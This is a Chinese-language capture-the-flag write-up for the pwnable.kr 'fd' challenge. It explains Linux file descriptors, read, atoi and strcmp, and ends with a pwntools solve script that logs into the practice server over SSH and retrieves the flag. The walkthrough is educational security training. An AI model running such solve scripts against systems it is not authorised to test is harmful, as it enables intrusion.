pwnable.kr fd - 1 pt [writeup]

Mommy! what is a file descriptor in Linux?

* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link:
https://youtu.be/971eZhMHQQw

ssh [email protected] -p2222 (pw:guest)

首先按照提示,用ssh登錄上服務器,然後查看文件:

Last login: Wed Jul 24 10:08:38 on console
➜  ~ ssh [email protected] -p 2222
Warning: Permanently added the ED25519 host key for IP address '[128.61.240.205]:2222' to the list of known hosts.
[email protected]'s password:
 ____  __    __  ____    ____  ____   _        ___      __  _  ____
|    \|  |__|  ||    \  /    ||    \ | |      /  _]    |  |/ ]|    \
|  o  )  |  |  ||  _  ||  o  ||  o  )| |     /  [_     |  ' / |  D  )
|   _/|  |  |  ||  |  ||     ||     || |___ |    _]    |    \ |    /
|  |  |  `  '  ||  |  ||  _  ||  O  ||     ||   [_  __ |     \|    \
|  |   \      / |  |  ||  |  ||     ||     ||     ||  ||  .  ||  .  \
|__|    \_/\_/  |__|__||__|__||_____||_____||_____||__||__|\_||__|\_|

- Site admin : [email protected]
- IRC : irc.netgarage.org:6667 / #pwnable.kr
- Simply type "irssi" command to join IRC now
- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal
Last login: Tue Jul 23 23:28:48 2019 from 116.233.190.55
fd@prowl:~$ ls
fd  fd.c  flag
fd@prowl:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
	if(argc<2){
		printf("pass argv[1] a number\n");
		return 0;
	}
	int fd = atoi( argv[1] ) - 0x1234;
	int len = 0;
	len = read(fd, buf, 32);
	if(!strcmp("LETMEWIN\n", buf)){
		printf("good job :)\n");
		system("/bin/cat flag");
		exit(0);
	}
	printf("learn about Linux file IO\n");
	return 0;

}

fd@prowl:~$

很容易就看出來的邏輯,但是這裏有個知識點,不知道的話這題沒法做。
對於read()函數的三個參數需要查一下詳細解釋,來自百度百科:read是一個計算機函數,可以用來從文件中讀取內容。read()會把參數fd 所指的文件傳送count個字節到buf指針所指的內存中。若參數count爲0,則read爲實際讀取到的字節數,如果返回0,表示已到達文件尾或是無可讀取的數據,此外文件讀寫位置會隨讀取到的字節移動。

可以看到, 辣雞百度並沒有告訴你fd參數是什麼東西, 如何取值,所以百度是沒有用的!

這裏我們不禁要問一句 what’s your problem?

fd其實是文件描述符file descriptor的縮寫,其中 0、1、2分別代表標準輸入、標準輸出和標準錯誤。所以這裏就知道了,fd應該設置爲0。也就是說

int fd = atoi( argv[1] ) - 0x1234 //要爲0

atoi (表示 ascii to integer)是把字符串轉換成整型數的一個函數。所以這裏需要輸入一個等於0x1234的十進制的數,也就是4660

而繼續向下看:

if(!strcmp("LETMEWIN\n", buf))

這裏strcmp函數是string compare(字符串比較)的縮寫,用於比較兩個字符串並根據比較結果返回整數。基本形式爲strcmp(str1,str2),若str1=str2,則返回零;若str1<str2,則返回負數;若str1>str2,則返回正數。

所以!strcmp相當於strcmp(s1, s2)==0

所以buf要等於”LETMEWIN\n”,也就是輸入”LETMEWIN”加回車,得到flag。

於是payload就很好寫了:

#!/usr/bin/python

from pwn import *

s = ssh(host='pwnable.kr',user='fd',password='guest',port=2222)
p = s.process(['fd', '4660'], './fd')
p.sendline('LETMEWIN')
print p.recv()

運行結果:

➜  pwn /usr/local/bin/python /Users/youssef/Desktop/pwn/passcode.py
[+] Connecting to pwnable.kr on port 2222: Done
[*] [email protected]:
    Distro    Ubuntu 16.04
    OS:       linux
    Arch:     amd64
    Version:  4.4.179
    ASLR:     Enabled
[+] Starting remote process './fd' on pwnable.kr: pid 73531
good job :)
mommy! I think I know what a file descriptor is!!


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章